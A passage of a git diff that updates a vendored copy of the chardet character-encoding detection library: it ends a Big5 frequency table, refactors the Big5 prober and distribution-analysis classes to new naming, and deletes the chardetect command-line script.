-11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, #10928 -11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, #10944 -4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, #10960 -11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, #10976 -11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, #10992 -11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, #11008 -11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, #11024 -11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, #11040 -11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, #11056 -11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, #11072 -11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, #11088 -11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, #11104 -11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, #11120 -11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, #11136 -11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, #11152 -11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, #11168 -11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, #11184 -11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, #11200 -11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, #11216 -11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, #11232 -11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, #11248 -11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, #11264 -11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, #11280 -11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, #11296 -11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, #11312 -11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, #11328 -11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, #11344 -11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, #11360 -11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, #11376 -11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, #11392 -11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, #11408 -11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, #11424 -11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, #11440 -11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, #11456 -11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, #11472 -4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, #11488 -11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, #11504 -11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, #11520 -11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, #11536 -11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, #11552 -11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, #11568 -11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, #11584 -11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, #11600 -11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, #11616 -11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, #11632 -11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, #11648 -11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, #11664 -11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, #11680 -11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, #11696 -11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, #11712 -11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, #11728 -11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, #11744 -11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, #11760 -11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, #11776 -11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, #11792 -11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, #11808 -11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, #11824 -11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, #11840 -11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, #11856 -11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, #11872 -11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, #11888 -11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, #11904 -11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, #11920 -11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, #11936 -12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, #11952 -12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, #11968 -12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, #11984 -12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, #12000 -12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, #12016 -12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, #12032 -12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, #12048 -12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, #12064 -12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, #12080 -12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, #12096 -12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, #12112 -12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, #12128 -12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, #12144 -12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, #12160 -12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, #12176 -4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, #12192 -4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, #12208 -4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, #12224 -12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, #12240 -12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, #12256 -12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, #12272 -12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, #12288 -12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, #12304 -12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, #12320 -12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, #12336 -12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, #12352 -12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, #12368 -12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, #12384 -12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, #12400 -12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, #12416 -12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, #12432 -12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, #12448 -12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, #12464 -12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, #12480 -12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, #12496 -12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, #12512 -12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, #12528 -12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, #12544 -12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, #12560 -12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, #12576 -12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, #12592 -12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, #12608 -12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, #12624 -12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, #12640 -12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, #12656 -12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, #12672 -12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, #12688 -12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, #12704 -12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, #12720 -12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, #12736 -12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, #12752 -12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, #12768 -12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, #12784 -12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, #12800 -12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, #12816 -12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, #12832 -12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, #12848 -12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, #12864 -12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, #12880 -12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, #12896 -12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, #12912 -12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, #12928 -12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, #12944 -12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, #12960 -12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, #12976 -4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, #12992 -13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, #13008 -13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, #13024 -13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, #13040 -13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, #13056 -13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, #13072 -13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, #13088 -13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, #13104 -4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, #13120 -13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, #13136 -13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, #13152 -13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, #13168 -13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, #13184 -13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, #13200 -13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, #13216 -13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, #13232 -13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, #13248 -13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, #13264 -13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, #13280 -13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, #13296 -13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, #13312 -13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, #13328 -13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, #13344 -13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, #13360 -5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, #13376 -13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, #13392 -13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, #13408 -13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, #13424 -13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, #13440 -13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, #13456 -13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, #13472 -13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, #13488 -13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, #13504 -13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, #13520 -13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, #13536 -13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, #13552 -13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, #13568 -13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, #13584 -13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, #13600 -13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, #13616 -13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, #13632 -13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, #13648 -13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, #13664 -13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, #13680 -13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, #13696 -13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, #13712 -13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, #13728 -13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, #13744 -13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, #13760 -13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, #13776 -13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, #13792 -13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, #13808 -13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, #13824 -13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, #13840 -13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, #13856 -13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, #13872 -13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, #13888 -13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, #13904 -13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, #13920 -13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, #13936 -13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, #13952 -13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, #13968 -13968,13969,13970,13971,13972) #13973 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 +) -# flake8: noqa diff --git a/thirdparty/chardet/big5prober.py b/thirdparty/chardet/big5prober.py index becce81e5e8..98f99701220 100644 --- a/thirdparty/chardet/big5prober.py +++ b/thirdparty/chardet/big5prober.py @@ -28,15 +28,20 @@ from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import Big5DistributionAnalysis -from .mbcssm import Big5SMModel +from .mbcssm import BIG5_SM_MODEL class Big5Prober(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(Big5SMModel) - self._mDistributionAnalyzer = Big5DistributionAnalysis() + super(Big5Prober, self).__init__() + self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) + self.distribution_analyzer = Big5DistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "Big5" + + @property + def language(self): + return "Chinese" diff --git a/thirdparty/chardet/chardetect.py b/thirdparty/chardet/chardetect.py deleted file mode 100644 index ffe892f25db..00000000000 --- a/thirdparty/chardet/chardetect.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python -""" -Script which takes one or more file paths and reports on their detected -encodings - -Example:: - - % chardetect somefile someotherfile - somefile: windows-1252 with confidence 0.5 - someotherfile: ascii with confidence 1.0 - -If no paths are provided, it takes its input from stdin. - -""" - -from __future__ import absolute_import, print_function, unicode_literals - -import argparse -import sys -from io import open - -from chardet import __version__ -from chardet.universaldetector import UniversalDetector - - -def description_of(lines, name='stdin'): - """ - Return a string describing the probable encoding of a file or - list of strings. - - :param lines: The lines to get the encoding of. - :type lines: Iterable of bytes - :param name: Name of file or collection of lines - :type name: str - """ - u = UniversalDetector() - for line in lines: - u.feed(line) - u.close() - result = u.result - if result['encoding']: - return '{0}: {1} with confidence {2}'.format(name, result['encoding'], - result['confidence']) - else: - return '{0}: no result'.format(name) - - -def main(argv=None): - ''' - Handles command line arguments and gets things started. - - :param argv: List of arguments, as if specified on the command-line. - If None, ``sys.argv[1:]`` is used instead. - :type argv: list of str - ''' - # Get command line arguments - parser = argparse.ArgumentParser( - description="Takes one or more file paths and reports their detected \ - encodings", - formatter_class=argparse.ArgumentDefaultsHelpFormatter, - conflict_handler='resolve') - parser.add_argument('input', - help='File whose encoding we would like to determine.', - type=argparse.FileType('rb'), nargs='*', - default=[sys.stdin]) - parser.add_argument('--version', action='version', - version='%(prog)s {0}'.format(__version__)) - args = parser.parse_args(argv) - - for f in args.input: - if f.isatty(): - print("You are running chardetect interactively. Press " + - "CTRL-D twice at the start of a blank line to signal the " + - "end of your input. If you want help, run chardetect " + - "--help\n", file=sys.stderr) - print(description_of(f, f.name)) - - -if __name__ == '__main__': - main() diff --git a/thirdparty/chardet/chardistribution.py b/thirdparty/chardet/chardistribution.py index 4e64a00befb..c0395f4a45a 100644 --- a/thirdparty/chardet/chardistribution.py +++ b/thirdparty/chardet/chardistribution.py @@ -25,82 +25,84 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .euctwfreq import (EUCTWCharToFreqOrder, EUCTW_TABLE_SIZE, +from .euctwfreq import (EUCTW_CHAR_TO_FREQ_ORDER, EUCTW_TABLE_SIZE, EUCTW_TYPICAL_DISTRIBUTION_RATIO) -from .euckrfreq import (EUCKRCharToFreqOrder, EUCKR_TABLE_SIZE, +from .euckrfreq import (EUCKR_CHAR_TO_FREQ_ORDER, EUCKR_TABLE_SIZE, EUCKR_TYPICAL_DISTRIBUTION_RATIO) -from .gb2312freq import (GB2312CharToFreqOrder, GB2312_TABLE_SIZE, +from .gb2312freq import (GB2312_CHAR_TO_FREQ_ORDER, GB2312_TABLE_SIZE, GB2312_TYPICAL_DISTRIBUTION_RATIO) -from .big5freq import (Big5CharToFreqOrder, BIG5_TABLE_SIZE, +from .big5freq import (BIG5_CHAR_TO_FREQ_ORDER, BIG5_TABLE_SIZE, BIG5_TYPICAL_DISTRIBUTION_RATIO) -from .jisfreq import (JISCharToFreqOrder, JIS_TABLE_SIZE, +from .jisfreq import (JIS_CHAR_TO_FREQ_ORDER, JIS_TABLE_SIZE, JIS_TYPICAL_DISTRIBUTION_RATIO) -from .compat import wrap_ord -ENOUGH_DATA_THRESHOLD = 1024 -SURE_YES = 0.99 -SURE_NO = 0.01 -MINIMUM_DATA_THRESHOLD = 3 +class CharDistributionAnalysis(object): + ENOUGH_DATA_THRESHOLD = 1024 + SURE_YES = 0.99 + SURE_NO = 0.01 + MINIMUM_DATA_THRESHOLD = 3 -class CharDistributionAnalysis: def __init__(self): # Mapping table to get frequency order from char order (get from # GetOrder()) - self._mCharToFreqOrder = None - self._mTableSize = None # Size of above table + self._char_to_freq_order = None + self._table_size = None # Size of above table # This is a constant value which varies from language to language, # used in calculating confidence. See # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html # for further detail. - self._mTypicalDistributionRatio = None + self.typical_distribution_ratio = None + self._done = None + self._total_chars = None + self._freq_chars = None self.reset() def reset(self): """reset analyser, clear any state""" # If this flag is set to True, detection is done and conclusion has # been made - self._mDone = False - self._mTotalChars = 0 # Total characters encountered + self._done = False + self._total_chars = 0 # Total characters encountered # The number of characters whose frequency order is less than 512 - self._mFreqChars = 0 + self._freq_chars = 0 - def feed(self, aBuf, aCharLen): + def feed(self, char, char_len): """feed a character with known length""" - if aCharLen == 2: + if char_len == 2: # we only care about 2-bytes character in our distribution analysis - order = self.get_order(aBuf) + order = self.get_order(char) else: order = -1 if order >= 0: - self._mTotalChars += 1 + self._total_chars += 1 # order is valid - if order < self._mTableSize: - if 512 > self._mCharToFreqOrder[order]: - self._mFreqChars += 1 + if order < self._table_size: + if 512 > self._char_to_freq_order[order]: + self._freq_chars += 1 def get_confidence(self): """return confidence based on existing data""" # if we didn't receive any character in our consideration range, # return negative answer - if self._mTotalChars <= 0 or self._mFreqChars <= MINIMUM_DATA_THRESHOLD: - return SURE_NO + if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: + return self.SURE_NO - if self._mTotalChars != self._mFreqChars: - r = (self._mFreqChars / ((self._mTotalChars - self._mFreqChars) - * self._mTypicalDistributionRatio)) - if r < SURE_YES: + if self._total_chars != self._freq_chars: + r = (self._freq_chars / ((self._total_chars - self._freq_chars) + * self.typical_distribution_ratio)) + if r < self.SURE_YES: return r # normalize confidence (we don't want to be 100% sure) - return SURE_YES + return self.SURE_YES def got_enough_data(self): # It is not necessary to receive all data to draw conclusion. # For charset detection, certain amount of data is enough - return self._mTotalChars > ENOUGH_DATA_THRESHOLD + return self._total_chars > self.ENOUGH_DATA_THRESHOLD - def get_order(self, aBuf): + def get_order(self, byte_str): # We do not handle characters based on the original encoding string, # but convert this encoding string to a number, here called order. # This allows multiple encodings of a language to share one frequency @@ -110,55 +112,55 @@ def get_order(self, aBuf): class EUCTWDistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = EUCTWCharToFreqOrder - self._mTableSize = EUCTW_TABLE_SIZE - self._mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO + super(EUCTWDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER + self._table_size = EUCTW_TABLE_SIZE + self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for euc-TW encoding, we are interested # first byte range: 0xc4 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that - first_char = wrap_ord(aBuf[0]) + first_char = byte_str[0] if first_char >= 0xC4: - return 94 * (first_char - 0xC4) + wrap_ord(aBuf[1]) - 0xA1 + return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 else: return -1 class EUCKRDistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = EUCKRCharToFreqOrder - self._mTableSize = EUCKR_TABLE_SIZE - self._mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO + super(EUCKRDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER + self._table_size = EUCKR_TABLE_SIZE + self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for euc-KR encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that - first_char = wrap_ord(aBuf[0]) + first_char = byte_str[0] if first_char >= 0xB0: - return 94 * (first_char - 0xB0) + wrap_ord(aBuf[1]) - 0xA1 + return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 else: return -1 class GB2312DistributionAnalysis(CharDistributionAnalysis): def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = GB2312CharToFreqOrder - self._mTableSize = GB2312_TABLE_SIZE - self._mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO + super(GB2312DistributionAnalysis, self).__init__() + self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER + self._table_size = GB2312_TABLE_SIZE + self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO - def get_order(self, aBuf): + def get_order(self, byte_str): # for GB2312 encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that - first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1]) 